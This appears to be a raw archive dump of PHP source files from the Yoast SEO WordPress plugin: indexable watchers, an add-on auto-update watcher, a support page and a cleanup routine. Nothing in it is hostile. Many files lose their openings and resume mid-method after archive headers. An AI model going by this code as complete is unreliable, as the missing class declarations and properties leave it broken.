...$term_taxonomy_ids, ), ); } } integrations/watchers/indexable-static-home-page-watcher.php000064400000004315152076254660020336 0ustar00repository = $repository; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'update_option_page_on_front', [ $this, 'update_static_homepage_permalink' ], 10, 2 ); } /** * Updates the new and previous homepage's permalink when the static home page is updated. * * @param string $old_value The previous homepage's ID. * @param int $value The new homepage's ID. * * @return void */ public function update_static_homepage_permalink( $old_value, $value ) { if ( \is_string( $old_value ) ) { $old_value = (int) $old_value; } if ( $old_value === $value ) { return; } $this->update_permalink_for_page( $old_value ); $this->update_permalink_for_page( $value ); } /** * Updates the permalink based on the selected homepage settings. * * @param int $page_id The page's id. * * @return void */ private function update_permalink_for_page( $page_id ) { if ( $page_id === 0 ) { return; } $indexable = $this->repository->find_by_id_and_type( $page_id, 'post', false ); if ( $indexable === false ) { return; } $indexable->permalink = \get_permalink( $page_id ); $indexable->save(); } } integrations/watchers/indexable-author-archive-watcher.php000064400000004517152076254660020134 0ustar00indexable_helper = $indexable_helper; } /** * Check if the author archives are disabled whenever the `wpseo_titles` option * changes. * * @return void */ public function register_hooks() { \add_action( 'update_option_wpseo_titles', [ $this, 'reschedule_indexable_cleanup_when_author_archives_are_disabled' ], 10, 2, ); } /** * This watcher should only be run when the migrations have been run. * (Otherwise there may not be an indexable table to clean). * * @return string[] The conditionals. */ public static function get_conditionals() { return [ Migrations_Conditional::class ]; } /** * Reschedule the indexable cleanup routine if the author archives are disabled. * to make sure that all authors are removed from the indexables table. * * When author archives are disabled, they can never be indexed. * * @phpcs:disable SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingTraversableTypeHintSpecification * * @param array $old_value The old `wpseo_titles` option value. * @param array $new_value The new `wpseo_titles` option value. * * @phpcs:enable * @return void */ public function reschedule_indexable_cleanup_when_author_archives_are_disabled( $old_value, $new_value ) { if ( $old_value['disable-author'] !== true && $new_value['disable-author'] === true && $this->indexable_helper->should_index_indexables() ) { $cleanup_not_yet_scheduled = ! \wp_next_scheduled( Cleanup_Integration::START_HOOK ); if ( $cleanup_not_yet_scheduled ) { \wp_schedule_single_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK ); } } } } integrations/watchers/indexable-attachment-watcher.php000064400000011421152076254660017333 0ustar00 The conditionals. */ public static function get_conditionals() { return [ Migrations_Conditional::class ]; } /** * Indexable_Attachment_Watcher constructor. * * @param Indexing_Helper $indexing_helper The indexing helper. * @param Attachment_Cleanup_Helper $attachment_cleanup The attachment cleanup helper. * @param Yoast_Notification_Center $notification_center The notification center. * @param Indexable_Helper $indexable_helper The indexable helper. */ public function __construct( Indexing_Helper $indexing_helper, Attachment_Cleanup_Helper $attachment_cleanup, Yoast_Notification_Center $notification_center, Indexable_Helper $indexable_helper ) { $this->indexing_helper = $indexing_helper; $this->attachment_cleanup = $attachment_cleanup; $this->notification_center = $notification_center; $this->indexable_helper = $indexable_helper; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 20, 2 ); } /** * Checks if the disable-attachment key in wpseo_titles has a change in value, and if so, * either it cleans up attachment indexables when it has been toggled to true, * or it starts displaying a notification for the user to start a new SEO optimization. * * @phpcs:disable SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingTraversableTypeHintSpecification * * @param array $old_value The old value of the wpseo_titles option. * @param array $new_value The new value of the wpseo_titles option. * * @phpcs:enable * @return void */ public function check_option( $old_value, $new_value ) { // If this is the first time saving the option, in which case its value would be false. if ( $old_value === false ) { $old_value = []; } // If either value is not an array, return. if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) { return; } // If both values aren't set, they haven't changed. if ( ! isset( $old_value['disable-attachment'] ) && ! isset( $new_value['disable-attachment'] ) ) { return; } // If a new value has been set for 'disable-attachment', there's two things we might need to do, depending on what's the new value. if ( $old_value['disable-attachment'] !== $new_value['disable-attachment'] ) { // Delete cache because we now might have new stuff to index or old unindexed stuff don't need indexing anymore. \delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_COUNT_TRANSIENT ); \delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_LIMITED_COUNT_TRANSIENT ); // Set this core option (introduced in WP 6.4) to ensure consistency. if ( \get_option( 'wp_attachment_pages_enabled' ) !== false ) { \update_option( 'wp_attachment_pages_enabled', (int) ! $new_value['disable-attachment'] ); } switch ( $new_value['disable-attachment'] ) { case false: $this->indexing_helper->set_reason( Indexing_Reasons::REASON_ATTACHMENTS_MADE_ENABLED ); return; case true: $this->attachment_cleanup->remove_attachment_indexables( false ); $this->attachment_cleanup->clean_attachment_links_from_target_indexable_ids( false ); if ( $this->indexable_helper->should_index_indexables() && ! \wp_next_scheduled( Cleanup_Integration::START_HOOK ) ) { // This just schedules the cleanup routine cron again. \wp_schedule_single_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK ); } return; } } } } integrations/watchers/indexable-post-watcher.php000064400000023623152076254670016200 0ustar00 The conditionals. */ public static function get_conditionals() { return [ Migrations_Conditional::class ]; } /** * Indexable_Post_Watcher constructor. * * @param Indexable_Repository $repository The repository to use. * @param Indexable_Builder $builder The post builder to use. * @param Indexable_Hierarchy_Repository $hierarchy_repository The hierarchy repository to use. * @param Indexable_Link_Builder $link_builder The link builder. * @param Author_Archive_Helper $author_archive The author archive helper. * @param Indexable_Helper $indexable_helper The indexable helper. * @param Post_Helper $post The post helper. * @param Logger $logger The logger. */ public function __construct( Indexable_Repository $repository, Indexable_Builder $builder, Indexable_Hierarchy_Repository $hierarchy_repository, Indexable_Link_Builder $link_builder, Author_Archive_Helper $author_archive, Indexable_Helper $indexable_helper, Post_Helper $post, Logger $logger ) { $this->repository = $repository; $this->builder = $builder; $this->hierarchy_repository = $hierarchy_repository; $this->link_builder = $link_builder; $this->author_archive = $author_archive; $this->indexable_helper = $indexable_helper; $this->post = $post; $this->logger = $logger; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'wp_insert_post', [ $this, 'build_indexable' ], \PHP_INT_MAX ); \add_action( 'delete_post', [ $this, 'delete_indexable' ] ); \add_action( 'edit_attachment', [ $this, 'build_indexable' ], \PHP_INT_MAX ); \add_action( 'add_attachment', [ $this, 'build_indexable' ], \PHP_INT_MAX ); \add_action( 'delete_attachment', [ $this, 'delete_indexable' ] ); } /** * Deletes the meta when a post is deleted. * * @param int $post_id Post ID. * * @return void */ public function delete_indexable( $post_id ) { $indexable = $this->repository->find_by_id_and_type( $post_id, 'post', false ); // Only interested in post indexables. if ( ! $indexable || $indexable->object_type !== 'post' ) { return; } $this->update_relations( $this->post->get_post( $post_id ) ); $this->update_has_public_posts( $indexable ); $this->hierarchy_repository->clear_ancestors( $indexable->id ); $this->link_builder->delete( $indexable ); $indexable->delete(); \do_action( 'wpseo_indexable_deleted', $indexable ); } /** * Updates the relations when the post indexable is built. * * @param Indexable $indexable The indexable. * @param WP_Post $post The post. * * @return void */ public function updated_indexable( $indexable, $post ) { // Only interested in post indexables. if ( $indexable->object_type !== 'post' ) { return; } if ( \is_a( $post, Indexable::class ) ) { \_deprecated_argument( __FUNCTION__, '17.7', 'The $old_indexable argument has been deprecated.' ); $post = $this->post->get_post( $indexable->object_id ); } $this->update_relations( $post ); } /** * Saves post meta. * * @param int $post_id Post ID. * * @return void */ public function build_indexable( $post_id ) { // Bail if this is a multisite installation and the site has been switched. if ( $this->is_multisite_and_switched() ) { return; } try { $indexable = $this->repository->find_by_id_and_type( $post_id, 'post', false ); $indexable = $this->builder->build_for_id_and_type( $post_id, 'post', $indexable ); $post = $this->post->get_post( $post_id ); /* * Update whether an author has public posts. * For example this post could be set to Draft or Private, * which can influence if its author has any public posts at all. */ if ( $indexable ) { $this->update_has_public_posts( $indexable ); } // Build links for this post. if ( $post && $indexable && \in_array( $post->post_status, $this->post->get_public_post_statuses(), true ) ) { $this->link_builder->build( $indexable, $post->post_content ); // Save indexable to persist the updated link count. $this->indexable_helper->save_indexable( $indexable ); $this->updated_indexable( $indexable, $post ); } } catch ( Exception $exception ) { $this->logger->log( LogLevel::ERROR, $exception->getMessage() ); } } /** * Updates the has_public_posts when the post indexable is built. * * @param Indexable $indexable The indexable to check. * * @return void */ protected function update_has_public_posts( $indexable ) { // Update the author indexable's has public posts value. try { $author_indexable = $this->repository->find_by_id_and_type( $indexable->author_id, 'user' ); if ( $author_indexable ) { $author_indexable->has_public_posts = $this->author_archive->author_has_public_posts( $author_indexable->object_id ); $this->indexable_helper->save_indexable( $author_indexable ); if ( $this->indexable_helper->should_index_indexable( $author_indexable ) ) { $this->reschedule_cleanup_if_author_has_no_posts( $author_indexable ); } } } catch ( Exception $exception ) { $this->logger->log( LogLevel::ERROR, $exception->getMessage() ); } // Update possible attachment's has public posts value. $this->post->update_has_public_posts_on_attachments( $indexable->object_id, $indexable->is_public ); } /** * Reschedule indexable cleanup if the author does not have any public posts. * This should remove the author from the indexable table, since we do not * want to store authors without public facing posts in the table. * * @param Indexable $author_indexable The author indexable. * * @return void */ protected function reschedule_cleanup_if_author_has_no_posts( $author_indexable ) { if ( $author_indexable->has_public_posts === false ) { $cleanup_not_yet_scheduled = ! \wp_next_scheduled( Cleanup_Integration::START_HOOK ); if ( $cleanup_not_yet_scheduled ) { \wp_schedule_single_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK ); } } } /** * Updates the relations on post save or post status change. * * @param WP_Post $post The post that has been updated. * * @return void */ protected function update_relations( $post ) { $related_indexables = $this->get_related_indexables( $post ); foreach ( $related_indexables as $indexable ) { // Ignore everything that is not an actual indexable. if ( \is_a( $indexable, Indexable::class ) ) { $indexable->object_last_modified = \max( $indexable->object_last_modified, $post->post_modified_gmt ); $this->indexable_helper->save_indexable( $indexable ); } } } /** * Retrieves the related indexables for given post. * * @param WP_Post $post The post to get the indexables for. * * @return Indexable[] The indexables. */ protected function get_related_indexables( $post ) { /** * The related indexables. * * @var Indexable[] $related_indexables */ $related_indexables = []; $related_indexables[] = $this->repository->find_by_id_and_type( $post->post_author, 'user', false ); $related_indexables[] = $this->repository->find_for_post_type_archive( $post->post_type, false ); $related_indexables[] = $this->repository->find_for_home_page( false ); $taxonomies = \get_post_taxonomies( $post->ID ); $taxonomies = \array_filter( $taxonomies, 'is_taxonomy_viewable' ); $term_ids = []; foreach ( $taxonomies as $taxonomy ) { $terms = \get_the_terms( $post->ID, $taxonomy ); if ( empty( $terms ) || \is_wp_error( $terms ) ) { continue; } $term_ids = \array_merge( $term_ids, \wp_list_pluck( $terms, 'term_id' ) ); } $related_indexables = \array_merge( $related_indexables, $this->repository->find_by_multiple_ids_and_type( $term_ids, 'term', false ), ); return \array_filter( $related_indexables ); } /** * Tests if the site is multisite and switched. * * @return bool True when the site is multisite and switched */ protected function is_multisite_and_switched() { return \is_multisite() && \ms_is_switched(); } } integrations/watchers/indexable-author-watcher.php000064400000007010152076254670016505 0ustar00repository = $repository; $this->indexable_helper = $indexable_helper; $this->builder = $builder; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'user_register', [ $this, 'build_indexable' ], \PHP_INT_MAX ); \add_action( 'profile_update', [ $this, 'build_indexable' ], \PHP_INT_MAX ); \add_action( 'deleted_user', [ $this, 'handle_user_delete' ], 10, 2 ); } /** * Deletes user meta. * * @param int $user_id User ID to delete the metadata of. * * @return void */ public function delete_indexable( $user_id ) { $indexable = $this->repository->find_by_id_and_type( $user_id, 'user', false ); if ( ! $indexable ) { return; } $indexable->delete(); \do_action( 'wpseo_indexable_deleted', $indexable ); } /** * Saves user meta. * * @param int $user_id User ID. * * @return void */ public function build_indexable( $user_id ) { $indexable = $this->repository->find_by_id_and_type( $user_id, 'user', false ); $indexable = $this->builder->build_for_id_and_type( $user_id, 'user', $indexable ); if ( $indexable ) { $indexable->object_last_modified = \max( $indexable->object_last_modified, \current_time( 'mysql' ) ); $this->indexable_helper->save_indexable( $indexable ); } } /** * Handles the case in which an author is deleted. * * @param int $user_id User ID. * @param int|null $new_user_id The ID of the user the old author's posts are reassigned to. * * @return void */ public function handle_user_delete( $user_id, $new_user_id = null ) { if ( $new_user_id !== null ) { $this->maybe_reassign_user_indexables( $user_id, $new_user_id ); } $this->delete_indexable( $user_id ); } /** * Reassigns the indexables of a user to another user. * * @param int $user_id The user ID. * @param int $new_user_id The user ID to reassign the indexables to. * * @return void */ public function maybe_reassign_user_indexables( $user_id, $new_user_id ) { $this->repository->query() ->set( 'author_id', $new_user_id ) ->where( 'author_id', $user_id ) ->update_many(); } } integrations/watchers/addon-update-watcher.php000064400000016221152076254670015623 0ustar00are_auto_updates_enabled( self::WPSEO_FREE_PLUGIN_ID, $auto_updated_plugins ) ) { return \sprintf( '%s', \sprintf( /* Translators: %1$s resolves to Yoast SEO. */ \esc_html__( 'Auto-updates are enabled based on this setting for %1$s.', 'wordpress-seo' ), 'Yoast SEO', ), ); } return \sprintf( '%s', \sprintf( /* Translators: %1$s resolves to Yoast SEO. */ \esc_html__( 'Auto-updates are disabled based on this setting for %1$s.', 'wordpress-seo' ), 'Yoast SEO', ), ); } /** * Handles the situation where the auto_update_plugins option did not previously exist. * * @param string $option The name of the option that is being created. * @param array|mixed $value The new (and first) value of the option that is being created. * * @return void */ public function call_toggle_auto_updates_with_empty_array( $option, $value ) { if ( $option !== 'auto_update_plugins' ) { return; } $this->toggle_auto_updates_for_add_ons( $option, $value, [] ); } /** * Enables premium auto updates when free are enabled and the other way around. * * @param string $option The name of the option that has been updated. * @param array $new_value The new value of the `auto_update_plugins` option. * @param array $old_value The old value of the `auto_update_plugins` option. * * @return void */ public function toggle_auto_updates_for_add_ons( $option, $new_value, $old_value ) { if ( $option !== 'auto_update_plugins' ) { // If future versions of WordPress change this filter's behavior, our behavior should stay consistent. return; } if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) { return; } $auto_updates_are_enabled = $this->are_auto_updates_enabled( self::WPSEO_FREE_PLUGIN_ID, $new_value ); $auto_updates_were_enabled = $this->are_auto_updates_enabled( self::WPSEO_FREE_PLUGIN_ID, $old_value ); if ( $auto_updates_are_enabled === $auto_updates_were_enabled ) { // Auto-updates for Yoast SEO have stayed the same, so have neither been enabled or disabled. return; } $auto_updates_have_been_enabled = $auto_updates_are_enabled && ! $auto_updates_were_enabled; if ( $auto_updates_have_been_enabled ) { $this->enable_auto_updates_for_addons( $new_value ); return; } else { $this->disable_auto_updates_for_addons( $new_value ); return; } if ( ! $auto_updates_are_enabled ) { return; } $auto_updates_have_been_removed = false; foreach ( self::ADD_ON_PLUGIN_FILES as $addon ) { if ( ! $this->are_auto_updates_enabled( $addon, $new_value ) ) { $auto_updates_have_been_removed = true; break; } } if ( $auto_updates_have_been_removed ) { $this->enable_auto_updates_for_addons( $new_value ); } } /** * Trigger a change in the auto update detection whenever a new Yoast addon is activated. * * @param string $plugin The plugin that is activated. * * @return void */ public function maybe_toggle_auto_updates_for_new_install( $plugin ) { $not_a_yoast_addon = ! \in_array( $plugin, self::ADD_ON_PLUGIN_FILES, true ); if ( $not_a_yoast_addon ) { return; } $enabled_auto_updates = \get_site_option( 'auto_update_plugins' ); $this->toggle_auto_updates_for_add_ons( 'auto_update_plugins', $enabled_auto_updates, [] ); } /** * Enables auto-updates for all addons. * * @param string[] $auto_updated_plugins The current list of auto-updated plugins. * * @return void */ protected function enable_auto_updates_for_addons( $auto_updated_plugins ) { $plugins = \array_unique( \array_merge( $auto_updated_plugins, self::ADD_ON_PLUGIN_FILES ) ); \update_site_option( 'auto_update_plugins', $plugins ); } /** * Disables auto-updates for all addons. * * @param string[] $auto_updated_plugins The current list of auto-updated plugins. * * @return void */ protected function disable_auto_updates_for_addons( $auto_updated_plugins ) { $plugins = \array_values( \array_diff( $auto_updated_plugins, self::ADD_ON_PLUGIN_FILES ) ); \update_site_option( 'auto_update_plugins', $plugins ); } /** * Checks whether auto updates for a plugin are enabled. * * @param string $plugin_id The plugin ID. * @param array $auto_updated_plugins The array of auto updated plugins. * * @return bool Whether auto updates for a plugin are enabled. */ protected function are_auto_updates_enabled( $plugin_id, $auto_updated_plugins ) { if ( $auto_updated_plugins === false || ! \is_array( $auto_updated_plugins ) ) { return false; } return \in_array( $plugin_id, $auto_updated_plugins, true ); } } integrations/watchers/indexable-post-meta-watcher.php000064400000005632152076254670017124 0ustar00 */ protected $post_ids_to_update = []; /** * Returns the conditionals based on which this loadable should be active. * * @return string[] */ public static function get_conditionals() { return [ Migrations_Conditional::class ]; } /** * Indexable_Postmeta_Watcher constructor. * * @param Indexable_Post_Watcher $post_watcher The post watcher. */ public function __construct( Indexable_Post_Watcher $post_watcher ) { $this->post_watcher = $post_watcher; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { // Register all posts whose meta have changed. \add_action( 'added_post_meta', [ $this, 'add_post_id' ], 10, 3 ); \add_action( 'updated_post_meta', [ $this, 'add_post_id' ], 10, 3 ); \add_action( 'deleted_post_meta', [ $this, 'add_post_id' ], 10, 3 ); // Remove posts that get saved as they are handled by the Indexable_Post_Watcher. \add_action( 'wp_insert_post', [ $this, 'remove_post_id' ] ); \add_action( 'delete_post', [ $this, 'remove_post_id' ] ); \add_action( 'edit_attachment', [ $this, 'remove_post_id' ] ); \add_action( 'add_attachment', [ $this, 'remove_post_id' ] ); \add_action( 'delete_attachment', [ $this, 'remove_post_id' ] ); // Update indexables of all registered posts. \register_shutdown_function( [ $this, 'update_indexables' ] ); } /** * Adds a post id to the array of posts to update. * * @param int|string $meta_id The meta ID. * @param int|string $post_id The post ID. * @param string $meta_key The meta key. * * @return void */ public function add_post_id( $meta_id, $post_id, $meta_key ) { // Only register changes to our own meta. if ( \is_string( $meta_key ) && \strpos( $meta_key, WPSEO_Meta::$meta_prefix ) !== 0 ) { return; } if ( ! \in_array( $post_id, $this->post_ids_to_update, true ) ) { $this->post_ids_to_update[] = (int) $post_id; } } /** * Removes a post id from the array of posts to update. * * @param int|string $post_id The post ID. * * @return void */ public function remove_post_id( $post_id ) { $this->post_ids_to_update = \array_diff( $this->post_ids_to_update, [ (int) $post_id ] ); } /** * Updates all indexables changed during the request. * * @return void */ public function update_indexables() { foreach ( $this->post_ids_to_update as $post_id ) { $this->post_watcher->build_indexable( $post_id ); } } } integrations/watchers/indexable-post-type-archive-watcher.php000064400000007735152076254670020604 0ustar00repository = $repository; $this->indexable_helper = $indexable_helper; $this->builder = $builder; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 10, 2 ); } /** * Checks if the home page indexable needs to be rebuild based on option values. * * @param array $old_value The old value of the option. * @param array $new_value The new value of the option. * * @return bool Whether or not the option has been saved. */ public function check_option( $old_value, $new_value ) { $relevant_keys = [ 'title-ptarchive-', 'metadesc-ptarchive-', 'bctitle-ptarchive-', 'noindex-ptarchive-' ]; // If this is the first time saving the option, thus when value is false. if ( $old_value === false ) { $old_value = []; } if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) { return false; } $keys = \array_unique( \array_merge( \array_keys( $old_value ), \array_keys( $new_value ) ) ); $post_types_rebuild = []; foreach ( $keys as $key ) { $post_type = false; // Check if it's a key relevant to post type archives. foreach ( $relevant_keys as $relevant_key ) { if ( \strpos( $key, $relevant_key ) === 0 ) { $post_type = \substr( $key, \strlen( $relevant_key ) ); break; } } // If it's not a relevant key or both values aren't set they haven't changed. if ( $post_type === false || ( ! isset( $old_value[ $key ] ) && ! isset( $new_value[ $key ] ) ) ) { continue; } // If the value was set but now isn't, is set but wasn't or is not the same it has changed. if ( ! \in_array( $post_type, $post_types_rebuild, true ) && ( ! isset( $old_value[ $key ] ) || ! isset( $new_value[ $key ] ) || $old_value[ $key ] !== $new_value[ $key ] ) ) { $this->build_indexable( $post_type ); $post_types_rebuild[] = $post_type; } } return true; } /** * Saves the post type archive. * * @param string $post_type The post type. * * @return void */ public function build_indexable( $post_type ) { $indexable = $this->repository->find_for_post_type_archive( $post_type, false ); $indexable = $this->builder->build_for_post_type_archive( $post_type, $indexable ); if ( $indexable ) { $indexable->object_last_modified = \max( $indexable->object_last_modified, \current_time( 'mysql' ) ); $this->indexable_helper->save_indexable( $indexable ); } } } integrations/watchers/option-wpseo-watcher.php000064400000010141152076254670015714 0ustar00check_token_option_disabled( 'semrush_integration_active', 'semrush_tokens', $new_value ); } /** * Checks if the Wincher integration is disabled; if so, deletes the tokens * and website id. * * We delete them if the Wincher integration is disabled, no matter if the * value has actually changed or not. * * @param array $old_value The old value of the option. * @param array $new_value The new value of the option. * * @return bool Whether the Wincher tokens have been deleted or not. */ public function check_wincher_option_disabled( $old_value, $new_value ) { $disabled = $this->check_token_option_disabled( 'wincher_integration_active', 'wincher_tokens', $new_value ); if ( $disabled ) { \YoastSEO()->helpers->options->set( 'wincher_website_id', '' ); } return $disabled; } /** * Checks if the WordProof integration is disabled; if so, deletes the tokens * * We delete them if the WordProof integration is disabled, no matter if the * value has actually changed or not. * * @deprecated 22.10 * @codeCoverageIgnore * * @param array $old_value The old value of the option. * @param array $new_value The new value of the option. * * @return bool Whether the WordProof tokens have been deleted or not. */ public function check_wordproof_option_disabled( $old_value, $new_value ) { \_deprecated_function( __METHOD__, 'Yoast SEO 22.10' ); return true; } /** * Checks if the usage tracking feature is toggled; if so, set an option to stop us from messing with it. * * @param array $old_value The old value of the option. * @param array $new_value The new value of the option. * * @return bool Whether the option is set. */ public function check_toggle_usage_tracking( $old_value, $new_value ) { $option_name = 'tracking'; if ( \array_key_exists( $option_name, $old_value ) && \array_key_exists( $option_name, $new_value ) && $old_value[ $option_name ] !== $new_value[ $option_name ] && $old_value['toggled_tracking'] === false ) { \YoastSEO()->helpers->options->set( 'toggled_tracking', true ); return true; } return false; } /** * Checks if the passed integration is disabled; if so, deletes the tokens. * * We delete the tokens if the integration is disabled, no matter if * the value has actually changed or not. * * @param string $integration_option The intergration option name. * @param string $target_option The target option to remove the tokens from. * @param array $new_value The new value of the option. * * @return bool Whether the tokens have been deleted or not. */ protected function check_token_option_disabled( $integration_option, $target_option, $new_value ) { if ( \array_key_exists( $integration_option, $new_value ) && $new_value[ $integration_option ] === false ) { \YoastSEO()->helpers->options->set( $target_option, [] ); return true; } return false; } } integrations/watchers/indexable-post-type-change-watcher.php000064400000011776152076254670020410 0ustar00 The conditionals. */ public static function get_conditionals() { return [ Not_Admin_Ajax_Conditional::class, Admin_Conditional::class, Migrations_Conditional::class ]; } /** * Indexable_Post_Type_Change_Watcher constructor. * * @param Options_Helper $options The options helper. * @param Indexing_Helper $indexing_helper The indexing helper. * @param Post_Type_Helper $post_type_helper The post_typehelper. * @param Yoast_Notification_Center $notification_center The notification center. * @param Indexable_Helper $indexable_helper The indexable helper. */ public function __construct( Options_Helper $options, Indexing_Helper $indexing_helper, Post_Type_Helper $post_type_helper, Yoast_Notification_Center $notification_center, Indexable_Helper $indexable_helper ) { $this->options = $options; $this->indexing_helper = $indexing_helper; $this->post_type_helper = $post_type_helper; $this->notification_center = $notification_center; $this->indexable_helper = $indexable_helper; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'admin_init', [ $this, 'check_post_types_public_availability' ] ); } /** * Checks if one or more post types change visibility. * * @return void */ public function check_post_types_public_availability() { // We have to make sure this is just a plain http request, no ajax/REST. if ( \wp_is_json_request() ) { return; } $public_post_types = $this->post_type_helper->get_indexable_post_types(); $last_known_public_post_types = $this->options->get( 'last_known_public_post_types', [] ); // Initializing the option on the first run. if ( empty( $last_known_public_post_types ) ) { $this->options->set( 'last_known_public_post_types', $public_post_types ); return; } // We look for new public post types. $newly_made_public_post_types = \array_diff( $public_post_types, $last_known_public_post_types ); // We look for post types that from public have been made private. $newly_made_non_public_post_types = \array_diff( $last_known_public_post_types, $public_post_types ); // Nothing to be done if no changes has been made to post types. if ( empty( $newly_made_public_post_types ) && ( empty( $newly_made_non_public_post_types ) ) ) { return; } // Update the list of last known public post types in the database. $this->options->set( 'last_known_public_post_types', $public_post_types ); // There are new post types that have been made public. if ( $newly_made_public_post_types ) { // Force a notification requesting to start the SEO data optimization. \delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_COUNT_TRANSIENT ); \delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_LIMITED_COUNT_TRANSIENT ); $this->indexing_helper->set_reason( Indexing_Reasons::REASON_POST_TYPE_MADE_PUBLIC ); \do_action( 'new_public_post_type_notifications', $newly_made_public_post_types ); } // There are post types that have been made private. if ( $newly_made_non_public_post_types && $this->indexable_helper->should_index_indexables() ) { // Schedule a cron job to remove all the posts whose post type has been made private. $cleanup_not_yet_scheduled = ! \wp_next_scheduled( Cleanup_Integration::START_HOOK ); if ( $cleanup_not_yet_scheduled ) { \wp_schedule_single_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK ); } \do_action( 'clean_new_public_post_type_notifications', $newly_made_non_public_post_types ); } } } integrations/alerts/black-friday-promotion-notification.php000064400000000463152076254710020331 0ustar00alert_identifier; return $allowed_dismissable_alerts; } } integrations/exclude-attachment-post-type.php000064400000001452152076254730015521 0ustar00asset_manager = $asset_manager; $this->current_page_helper = $current_page_helper; $this->product_helper = $product_helper; $this->shortlink_helper = $shortlink_helper; $this->woocommerce_conditional = $woocommerce_conditional; $this->addon_manager = $addon_manager; } /** * Returns the conditionals based on which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ Admin_Conditional::class, User_Can_Manage_Wpseo_Options_Conditional::class ]; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { // Add page using PHP_INT_MAX - 1 to allow other items (like Brand Insights) to be positioned after. \add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ], ( \PHP_INT_MAX - 1 ) ); // Are we on the settings page? if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) { \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] ); \add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX ); } } /** * Adds the page. * * @param array> $pages The pages. * * @return array> The pages. */ public function add_page( array $pages ) { $pages[] = [ 'wpseo_dashboard', '', \__( 'Support', 'wordpress-seo' ), self::CAPABILITY, self::PAGE, [ $this, 'display_page' ], ]; return $pages; } /** * Displays the page. * * @return void */ public function display_page() { echo '
'; } /** * Enqueues the assets. * * @return void */ public function enqueue_assets() { // Remove the emoji script as it is incompatible with both React and any contenteditable fields. \remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); $this->asset_manager->enqueue_script( 'support' ); $this->asset_manager->enqueue_style( 'support' ); if ( \YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-promotion' ) ) { $this->asset_manager->enqueue_style( 'black-friday-banner' ); } $this->asset_manager->localize_script( 'support', 'wpseoScriptData', $this->get_script_data() ); } /** * Removes all current WP notices. * * @return void */ public function remove_notices() { \remove_all_actions( 'admin_notices' ); \remove_all_actions( 'user_admin_notices' ); \remove_all_actions( 'network_admin_notices' ); \remove_all_actions( 'all_admin_notices' ); } /** * Creates the script data. * * @return array>, bool, string>> The script data. */ public function get_script_data() { return [ 'preferences' => [ 'hasPremiumSubscription' => $this->addon_manager->has_active_addons() && $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG ), 'hasWooSeoSubscription' => $this->addon_manager->has_active_addons() && $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ), 'isRtl' => \is_rtl(), 'pluginUrl' => \plugins_url( '', \WPSEO_FILE ), 'upsellSettings' => [ 'actionId' => 'load-nfd-ctb', 'premiumCtbId' => 'f6a84663-465f-4cb5-8ba5-f7a6d72224b2', ], 'isWooCommerceActive' => $this->woocommerce_conditional->is_met(), ], 'linkParams' => $this->shortlink_helper->get_query_params(), 'currentPromotions' => \YoastSEO()->classes->get( Promotion_Manager::class )->get_current_promotions(), ]; } } integrations/cleanup-integration.php000064400000023336152076254730013755 0ustar00cleanup_repository = $cleanup_repository; $this->indexable_helper = $indexable_helper; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( self::START_HOOK, [ $this, 'run_cleanup' ] ); \add_action( self::CRON_HOOK, [ $this, 'run_cleanup_cron' ] ); \add_action( 'wpseo_deactivate', [ $this, 'reset_cleanup' ] ); } /** * Returns the conditionals based on which this loadable should be active. * * @return array The array of conditionals. */ public static function get_conditionals() { return []; } /** * Starts the indexables cleanup. * * @return void */ public function run_cleanup() { $this->reset_cleanup(); if ( ! $this->indexable_helper->should_index_indexables() ) { \wp_unschedule_hook( self::START_HOOK ); return; } $cleanups = $this->get_cleanup_tasks(); $limit = $this->get_limit(); foreach ( $cleanups as $name => $action ) { $items_cleaned = $action( $limit ); if ( $items_cleaned === false ) { return; } if ( $items_cleaned < $limit ) { continue; } // There are more items to delete for the current cleanup job, start a cronjob at the specified job. $this->start_cron_job( $name ); return; } } /** * Returns an array of cleanup tasks. * * @return Closure[] The cleanup tasks. */ public function get_cleanup_tasks() { return \array_merge( [ 'clean_indexables_with_object_type_and_object_sub_type_shop_order' => function ( $limit ) { return $this->cleanup_repository->clean_indexables_with_object_type_and_object_sub_type( 'post', 'shop_order', $limit ); }, 'clean_indexables_by_post_status_auto-draft' => function ( $limit ) { return $this->cleanup_repository->clean_indexables_with_post_status( 'auto-draft', $limit ); }, 